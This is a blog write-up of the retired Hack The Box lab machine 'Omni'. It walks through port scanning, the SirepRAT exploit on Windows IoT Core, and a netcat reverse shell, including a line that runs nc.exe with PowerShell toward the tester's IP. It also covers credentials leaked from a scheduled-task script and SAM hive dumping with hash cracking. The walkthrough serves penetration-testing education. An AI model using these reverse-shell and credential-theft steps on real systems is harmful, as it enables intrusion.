Hack The Box - Omni
Introduction
This will be my first post in a series I will be publishing on retired HTB machines. For those who don’t know, Hack the Box is an online learning and penetration testing platform. It offers a wide variety of hands-on learning and challenges, but their most selling feature to me are their boxes. I started using the platform some time ago mostly focussing on challenges and playing around with retired boxes (VMs). They make a difference between live and retired boxes, a retired box is like the word says retired. For these boxes, you can find extensive write-ups inside the platform or either online. When a box becomes retired this allows anyone to share their write-ups and learnings with the rest of the community. The platform works with a point-based system and only the live boxes will allow you to score points. Still, these retired boxes are a great way to learn penetration testing in a fun and interactive manner.
A couple of months ago I finally decided to take the plunge and try to solve one of their live boxes. It’s technically not the first live box I started but is the first one I managed to complete and get written up. The box I’m talking about is called Omni and is an easy Windows challenge or so they claim. They retired this box a few days ago as of this writing, which means I’m finally able to post my write-up. I really enjoyed this box and had a lot of fun trying to snatch those flags of the box. In this write-up, I walk you through the steps I took to get a foothold on the box and how I escalated my privileges. Let’s dive right in!
Reconnaissance
First things first, any good reconnaissance always starts with an nmap
scan to see which ports are open and which services are running on those ports. This will give us a better understanding of what is running on the box and give an idea of where to focus our next efforts.
- -sC run default nmap scripts
- -sV enumerate versions
- -o for sending output to a file
Storing the output of an nmap
scan to a file can save you some time if you ever need to get back to them. That’s also why it’s good to stay organised during your investigation and have all your analysis neatly organised in a folder.
The scan reveals that we are dealing with a Windows machine (something we already knew going into this box, but always good seeing this confirmed), running MSRPC on port 135 and an IIS web server exposing a service on port 8080. One interesting thing to note is that the service on port 8080 got labelled as Windows Device Portal
. Searching for this online will reveal that this is a web application that allows remote management of Windows IoT Core. It also shows that his page will be protected with some sort of authentication mechanism HTTP/1.1 401 Unauthorized\x0D
. With this knowledge at hand, it is time to open up a browser and see what is shown at that endpoint, plugging 10.10.10.204:8080
into a browser will show us a basic-auth login dialogue:
The documentation for the Windows Device Portal indicates that the default username and password for the dashboard is Administrator
and p@ssw0rd
(reference). But as it turns out, those seem to have been changed as we get presented with an authorization required message. This would have been too easy, so good on them.
The first nmap scan only discovered a couple of ports and we don’t have much more to go on from here. So let’s run another nmap scan that’s a bit more aggressive and will enumerate all ports: sudo nmap -sC -sV -Pn -p- -o nmap-a 10.10.10.204
.
When the second scan finished, it turned up 3 new ports (29817, 29819 and 29820), some research online will show that these three ports are related to the Sirep protocol. Digging a bit deeper into this protocol you will find lots of references to Windows IoT and a GitHub repository. This is in line with what our nmap exploration has uncovered and means we are on the right track!
Looking into the GitHub repository, it seems that this is a RAT (Remote Access Trojan), allowing us to exploit the Sirep TestService built-in and running on the official images of Windows IoT Core OS. The docs directory contains a pdf presentation and a white paper that are interesting to have a look at. The whitepaper shows that the exploit will give us access to the SYSTEM account. Which means we immediately have access to the most privileged account on Windows 😲. Let’s clone the repository and have a look around to see what we can do with it:
I always prefer setting up any python related tools in their own virtual environment. It means that we can be relatively sure to get the program or script up and running without any conflicts. Nor do we have to worry about breaking any other python tools on our box.
Getting a foothold
At this point we should be ready to play around with SirepRAT
but first, let’s have a look at the output of --help
and get an overview of all available options:
Let the output sink in for a bit, some of these arguments might prove useful in a sec. Next, let’s give the example from the --help
output a try and make sure the script is working:
That didn’t return all to much, but we can assume it worked given the returned payload length is 4. Let’s try another one, this time we will use a command directly coming from the project’s README page. It executes cmd.exe
and returns the current user profile path. Let’s also add --v
to the command to get more verbose and better-formatted output. There’s also --vv
to play around with, have a play with these different arguments. The --vv
argument could prove helpful if you would like to get a more thorough understanding of the network internals of the Sirep protocol.
This shows that the user we have access to is the SYSTEM account, also take note of the Data
directory at the root of the C drive. It’s a bit weird but good to know that the whole Windows IoT OS is inside the Data directory including our user profile, this will be useful in a bit. Now let’s see if we can get a reverse shell. To get a reverse shell we’ll leverage the LaunchCommandWithOutput
command and let’s also switch to PowerShell which is a bit nicer to use that cmd.exe
.
At this point I got stuck for a couple of hours without making much of any progress, I was firmly convinced in creating a PowerShell only reverse shell. After trying many different combinations of Powershell reverse shells it started to dawn on me that this was not going to work. The Windows IoT image is pretty trimmed down missing some vital binaries or functions to get a reverse shell going in Powershell. After a small break, I went back to the drawing board having a look at a site with some amazing hacks and tricks namely hacktricks. And looking for just a brief second at this page it immediately hit me. Netcat for windows is self-contained and will more likely be able to run on Windows IoT. But we’ll need to know what architecture we are dealing with to make sure we download the correct one, either 64 bit or 32 bit.
It’s quick and dirty but gets the job done, the response is truncated in the example above, but we can see that the processor architecture is AMD64, hence we’ll need the 64-bit version of netcat. With curl -LO https://github.com/int0x33/nc.exe/raw/master/nc64.exe
it’s easy to get the binary on our local machine. With python -m http.server
we’ll bring up a local web server which will help to deliver payloads onto the target machine. The following will download nc64 onto the target machine, where 10.10.14.31
is the IP of your local machine and 8000
is the port where python is running. In another pane have nv -lnvp 9000
ready to receive the reverse shell:
As you can see we have got a Powershell session on the box, so let’s take a look and see if we can read any of the flags of the system.
Having a look at the root.txt
file we get presented with the following XML. This is a PowerShell credential, meaning that the password is encrypted with the password of the user that created this credential file. It means that we need to find the credentials for the user and admin account. This way we can pivot into these accounts and use $credential = Import-Clixml -Path C:\Data\Users\Administrator\root.txt;$credential.GetNetworkCredential().Password"
to read the flags as plain text.
Privilege Escalation
For the privilege escalation I’ll go over 2 different paths you can take to solve this box. The one I took and the one as was intended by the challenge author. The way I solved it is a bit of a hack, but I didn’t realise it at the time. It wasn’t until I read a couple of write-ups after the box retired that I realized I kinda cheated solving this challenge. When running my privilege escalation script I discovered a funky task running on the system that lead me directly to both Administrator and App user credentials. Let’s first have a look at how I solved it!
My Solution
After getting a shell its worth to have a good privilege escalation script ready to run. Running winPEAS will list out a bunch of possibilities on how to potentially escalate privileges. It will print out a big list and one of the things you might see is a task that isn’t normally scheduled on a Windows machine. Let’s dig a bit deeper with schtasks
The output is truncated for brevity. But the first returned result is called revert
, which stands out when taking a look at the other returned tasks. Let’s dig a bit deeper and see what makes up this task:
The task contains a path to a bat script, dumping the contents of this script gives us both the password for the App
and the Administrator
account:
With both usernames and password found, it is possible to retrieve the flags by logging into the Device Portal:
This is successful, and we gain access to the web portal.
There is a section in the portal that allows us to run remote commands. It contains a simple HTML input box to write commands and any outputs after pressing run are relayed back to the web page. We could use this and go through the effort of trying to grab the flag this way. Or we can do what we did before and get a reverse shell by launching netcat with nc -lnvp 9000
on our local machine and execute C://nc.exe -e powershell.exe 10.10.14.31 9000
on the portal. This will give us a reverse shell which we can control from our terminal.
When we get the reverse shell it should be fairly easy to get the user flag:
For the next one, we just need to go through the same steps again. But instead of the App
user, we should log in with the Administrator
user:
And that’s it! What I didn’t realise until much later is that this task was intentionally put there by the author to make sure that the password for the App user and Administrator user wouldn’t get changed by another HTB user that is trying to solve the challenge. So now let’s also have a look at the intended way to solve this challenge.
The Intended Solution
The intended solution has us downloading the SAM to our local machine so that we can crack the user account hashes contained in it. The Windows SAM or Security Account Manager is a database file present in every Windows OS from Windows XP that stores all user passwords. These passwords are stored as a hash in either as an LM hash or as an NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
To get the files onto our local machine we’ll need to create an SMB share that we can write to from Omni. Modern Windows now requires that SMB shares are mounted with authentication, so we’ll run it with a username and password configured.
We should now be able to mount this share from Omni:
With reg save
we can dump the contents of the 3 hives we need and write them directly to our SMB share.
All files should now be available from the folder where we exposed our SMB server. With secretsdump from impacket we can dump all hashes and copy them into a file so we can try to crack some of them.
This returns a couple of hashes and writes them to stdout, copy and save these hashes into a file. The format of a single line is username:userid:lanmanhash:ntlmhash
, we only need the username and ntlmhash. So let’s clean up this file and make sure we have the right format.
Now we have the hashes for all users on the box, let’s see if we can get them cracked:
When this command finished and managed to run successfully, we can use the following to show which passwords got cracked. The cracked passwords will get appended to the end of each line.
And once again we find that the password for the app account is mesh5143
. We didn’t manage to crack the Administrator
account, to get access to this account we’ll need to login via the portal as we did before. In the app
home folder you will find a file named iot-admin.xml
, this is another PSCredential that contains the admin password. To grab the flags we’ll need to go through the same steps as before by logging into the portal and using PowerShell to grab the flag from the PSCredential file.
And that’s it, we owned the box!